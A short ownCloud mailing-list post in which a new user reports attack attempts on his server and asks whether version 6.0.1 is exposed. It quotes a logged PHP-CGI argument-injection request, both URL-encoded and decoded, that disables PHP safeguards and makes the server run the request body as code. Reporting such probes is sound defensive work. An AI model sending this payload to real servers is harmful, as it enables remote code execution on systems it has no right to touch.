[Owncloud] cgi-bin attacks

[Mohammad Naghavi]

​Hi everybody,
I'm new to owncloud and just started using it since two days but I just
found out that I have been just attacked. they are trying requests similar
to the following with different target urls:
​

quest: "POST
/cgi-bin/php4?%2D%64+%61%6C%6C%6F%77%5F%75%72%6C%5F%69%6E%63%6C%75%64%65%3D%6F%6E+%2D%64+%73%61%66%65%5F%6D%6F%64%65%3D%6F%66%66+%2D%64+%73%75%68%6F%73%69%6E%2E%73%69%6D%75%6C%61%74%69%6F%6E%3D%6F%6E+%2D%64+%64%69%73%61%62%6C%65%5F%66%75%6E%63%74%69%6F%6E%73%3D%22%22+%2D%64+%6F%70%65%6E%5F%62%61%73%65%64%69%72%3D%6E%6F%6E%65+%2D%64+%61%75%74%6F%5F%70%72%65%70%65%6E%64%5F%66%69%6C%65%3D%70%68%70%3A%2F%2F%69%6E%70%75%74+%2D%64+%63%67%69%2E%66%6F%72%63%65%5F%72%65%64%69%72%65%63%74%3D%30+%2D%64+%63%67%69%2E%72%65%64%69%72%65%63%74%5F%73%74%61%74%75%73%5F%65%6E%76%3D%30+%2D%6E
HTTP/1.1", host: "
​XXX.XXX.XXX.XXX"

​which decodes to:

quest: "POST /cgi-bin/php4?-d allow_url_include=on -d safe_mode=off -d
suhosin.simulation=on -d disable_functions="" -d open_basedir=none -d
auto_prepend_file=php://input -d cgi.force_redirect=0 -d
cgi.redirect_status_env=0 -n HTTP/1.1", host: "XXX.XXX.XXX.XXX"

I'm using OC 6.0.1 and I want to know if my server is prone to such attacks
or not.

regards,
Mohammad​
